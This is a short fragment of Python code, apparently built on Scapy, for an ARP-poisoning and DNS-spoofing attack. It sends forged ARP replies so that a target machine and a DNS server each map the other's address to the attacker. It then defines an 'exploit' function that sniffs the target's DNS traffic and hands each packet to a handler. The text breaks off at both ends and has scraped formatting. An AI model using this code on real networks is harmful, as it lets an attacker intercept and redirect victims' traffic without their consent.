send(ARP(op=2,pdst=target,psrc=dns_server,hwdst=target_mac),verbose=0) send(ARP(op=2,pdst=dns_server,psrc=target,hwdst=dns_server_mac),verbose=0) defexploit(target): print("[*] Listening ") sniff(filter="udp and port 53 and host "+ target,prn=process_received_packet) ...